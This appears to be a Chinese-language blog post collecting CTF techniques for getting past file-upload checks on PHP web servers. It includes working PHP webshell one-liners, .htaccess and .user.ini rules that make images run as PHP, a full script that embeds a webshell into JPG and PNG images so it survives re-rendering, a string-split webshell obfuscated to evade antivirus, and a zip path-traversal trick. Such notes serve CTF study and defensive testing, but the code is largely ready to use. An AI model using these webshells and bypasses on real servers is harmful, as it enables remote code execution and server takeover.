ctf 文件上传总结

原创

熬夜看小说 已于 2022-02-21 06:25:18 修改 1146 收藏 2
分类专栏： ctf总结 文章标签： php 安全 web
于 2021-06-04 22:29:51 首次发布

前端绕过

正常上传文件,捉取数据包修改

后端绕过

服务器端检测的绕过

windows特性

windows对文件名自动去掉点 空格 ::$DATA(这个是ntfs的特性)

利用这个特性绕过黑名单限制

函数特性

move_uploaded_file函数会自动去除文件名末尾的点 和 /.

fopen函数特性

```
<?php
$filename='1.php/.';
$content="<?php eval($_POST[1]);?>";
$f = fopen($filename, 'w');
    fwrite($f, $content);
    fclose($f);
?>
#会在当前目录生成1.php,文件名为1.php.也可以
```

其它

后缀名大小写

后缀名双写

尝试php3 phtml php3457(linux+apache+php5.6)等后缀

检测MIME类型的,捉包改MIME类型

覆盖配置

.user.ini

上传.user.ini文件覆盖php.ini文件配置

```
使用auto_prepend_file与auto_append_file在所有php页面的顶部与底部require文件
auto_prepend_file=1.png #与.user.ini配置文件同目录的php文件都会在顶部require('1.png')
```

.htaccess

上传.htaccess文件覆盖apache文件配置

```
AddType application/x-httpd-php .php .phtml .php3 .png #把png文件当作php文件解析
AddHandler php5-script php  #当文件名中出现php关键字时,文件中的内容会被当中代码执行
<FilesMatch "ajest">
  SetHandler application/x-httpd-php
</FilesMatch>  #匹配文件名，当文件名为ajest时，里面的代码会被执行
```

条件竞争

对上传的文件处理出现逻辑问题

比如上传的文件先移动再对检测不通过的文件删除

数组绕过

上传文件的名称分割成数组再进行检测,检测完成后再进行名称拼接

利用检测和拼接直接存在的逻辑漏洞,进行绕过

二次渲染

上传的图片马经过二次渲染后代码被过滤掉

GIF绕过

对比上传后的GIF图片和未上传的GIF图片之间未变化的部分,在未变化的部分写入一句话

png绕过

```
<?php
/*<?$_GET[0]($_POST[1]);?>*/
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');
?>
```

安装gd库

```
sudo apt-get update
sudo apt-get install php-gd #脚本运行需要gd库
```

运行脚本

```
php 脚本名  #生成图片内含代码<?$_GET[0]($_POST[1]);?>
```

jpg绕过

```
<?php
 /*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations cause
d by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image
.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
```

```
 die('php-gd is not installed');
}

if(!isset($argv[1])) {
 die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
 $nullbytePayloadSize = $pad;
 $dis = new DataInputStream($argv[1]);
 $outStream = file_get_contents($argv[1]);
 $extraBytes = 0;
 $correctImage = TRUE;

 if($dis->readShort() != 0xFFD8) {
  die('Incorrect SOI marker');
 }

 while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
  $marker = $dis->readByte();
  $size = $dis->readShort() - 2;
  $dis->skip($size);
  if($marker === 0xDA) {
   $startPos = $dis->seek();
   $outStreamTmp =
    substr($outStream, 0, $startPos) .
    $miniPayload .
    str_repeat("\0",$nullbytePayloadSize) .
    substr($outStream, $startPos);
   checkImage('_'.$argv[1], $outStreamTmp, TRUE);
   if($extraBytes !== 0) {
    while((!$dis->eof())) {
     if($dis->readByte() === 0xFF) {
      if($dis->readByte !== 0x00) {
       break;
      }
     }
    }
    $stopPos = $dis->seek() - 2;
    $imageStreamSize = $stopPos - $startPos;
    $outStream =
     substr($outStream, 0, $startPos) .
     $miniPayload .
     substr(
      str_repeat("\0",$nullbytePayloadSize).
       substr($outStream, $startPos, $imageStreamSize),
      0,
      $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
       substr($outStream, $stopPos);
   } elseif($correctImage) {
    $outStream = $outStreamTmp;
   } else {
    break;
   }
   if(checkImage('payload_'.$argv[1], $outStream)) {
    die('Success!');
   } else {
    break;
```

```
   }
  }
 }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
 global $correctImage;
 file_put_contents($filename, $data);
 $correctImage = TRUE;
 imagecreatefromjpeg($filename);
 if($unlink)
  unlink($filename);
 return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
 global $extraBytes, $correctImage;
 $correctImage = FALSE;
 if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
  if(isset($m[1])) {
   $extraBytes = (int)$m[1];
  }
 }
}

class DataInputStream {
 private $binData;
 private $order;
 private $size;

 public function __construct($filename, $order = false, $fromString = false) {
  $this->binData = '';
  $this->order = $order;
  if(!$fromString) {
   if(!file_exists($filename) || !is_file($filename))
    die('File not exists ['.$filename.']');
   $this->binData = file_get_contents($filename);
  } else {
   $this->binData = $filename;
  }
  $this->size = strlen($this->binData);
 }

 public function seek() {
  return ($this->size - strlen($this->binData));
 }

 public function skip($skip) {
  $this->binData = substr($this->binData, $skip);
 }

 public function readByte() {
  if($this->eof()) {
   die('End Of File');
  }
  $byte = substr($this->binData, 0, 1);
  $this->binData = substr($this->binData, 1);
  return ord($byte);
```

```
  return ord($byte);
 }

 public function readShort() {
  if(strlen($this->binData) < 2) {
   die('End Of File');
  }
  $short = substr($this->binData, 0, 2);
  $this->binData = substr($this->binData, 2);
  if($this->order) {
   $short = (ord($short[1]) << 8) + ord($short[0]);
  } else {
   $short = (ord($short[0]) << 8) + ord($short[1]);
  }
  return $short;
 }

 public function eof() {
  return !$this->binData||(strlen($this->binData) === 0);
 }
}
?>
```

用法:

```
先上传一张jpg图片,并把上传的图片下载到本地
php 脚本名 下载到本地的图片名
```

可参考:https://www.cnblogs.com/forforever/p/13191999.html

压缩包上传

tar上传

先留着吧

zip上传

当WEB服务器对压缩包直接解压时,可以上传zip文件getshell

把1234.php压缩为shell.zip

010把zip中的1234.php换成…/1.php(1234四个字符对应…/1四个字符,可以随意更改)

上传即可在zip上一级目录生成1.php文件

文件头检测

getimagesize

getimagesize函数检测图片大小的同时检测目标文件是否是一张图片,去读取头几个字符串是不是符合图片的要求

更改数据包修改函数检测到的图片大小

```
#define width 1337
#define height 1337 #放在文件头,但是如此无法绕过检测,水平有限,待探究吧
```

制作图片马绕过检测:

```
copy smile.jpg/b+info.php/a smile_info.jpg
文件头(16进制转ascii码)加上一句话
图片详细信息中加入一句话
```

exif_imagetype

exif_imagetype函数读取一个图像的第一个字节并检查其签名

制作图片马绕过

文件内容检测

检测文件的内容

PHP标签

php其它写法绕过检测php关键字

Example #2 PHP 开始和结束标记

```
1.  <?php echo 'if you want to serve XHTML or XML documents, do it like this'; ?>

2.  <script language="php">
        echo 'some editors (like FrontPage) don\'t
              like processing instructions';
    </script>

3.  <? echo 'this is the simplest, an SGML processing instruction'; ?>
    <?= expression ?> This is a shortcut for "<? echo expression ?>"

4.  <% echo 'You may optionally use ASP-style tags'; %>
    <%= $variable; # This is a shortcut for "<% echo . . ." %>
```

上例中的 1 和 2 中使用的标记总是可用的，其中示例 1 中是最常用，并建议使用的。

短标记（上例 3）仅在通过 `php.ini` 配置文件中的指令 short_open_tag 打开后才可用，或者在 PHP 编译时加入了 **--enable-short-tags** 选项。

ASP 风格标记（上例 4）仅在通过 `php.ini` 配置文件中的指令 asp_tags 打开后才可用。

> **Note**:
> 在以下情况应避免使用短标记：开发需要再次发布的程序或者库，或者在用户不能控制的服务器上开发。因为目标服务器可能不支持短标记。为了代码的移植及发行，确保不要使用短标记。

> **Note**:
> 在 PHP 5.2 和之前的版本中，解释器不允许一个文件的全部内容就是一个开始标记 *<?php*。自 PHP 5.3 起则允许此种文件，但要开始标记后有一个或更多白空格符。

第二种写法php7无法执行

php5可以执行

免杀绕过

初级免杀:

```
<?php
    $poc="s#y#s#t#e#m";
    $poc_1=explode("#",$poc);
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_REQUEST['1']);
?>
```

上传.user.ini包含日志文件,一句话写入日志文件

上传.user.ini包含session文件配合条件竞争

漏洞

这里只统计漏洞

00截断

```
条件:
php版本小于5.3.4
关闭magic_quotes_gpc
```

Apache多后缀解析漏洞

该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,尤其是使用module模式与php结合的所有版本

如果运维人员给.php后缀增加了处理器:AddHandler application/x-httpd-php .php。那么,在有多个后缀的情况下,只要一个文件名中包含有.php后缀,将会被识别成PHP文件,没必要是最后一个后缀

IIS6.0解析漏洞

IIS默认解析后缀有.asa .cdx .cer

IIS6.0版本存在解析漏洞

CGI解析漏洞

利用条件:
开启cgi.fix_pathinfo

IIS7.0/7.5+php环境

Nginx CGI

Nginx 空字节漏洞

```
影响版本:0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
```

CVE-2013-4745

```
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
```

CVE-2017-15715

```
影响版本:apache2.40~2.4.29
```

部分利用可参考:https://www.2cto.com/Article/201309/240797.html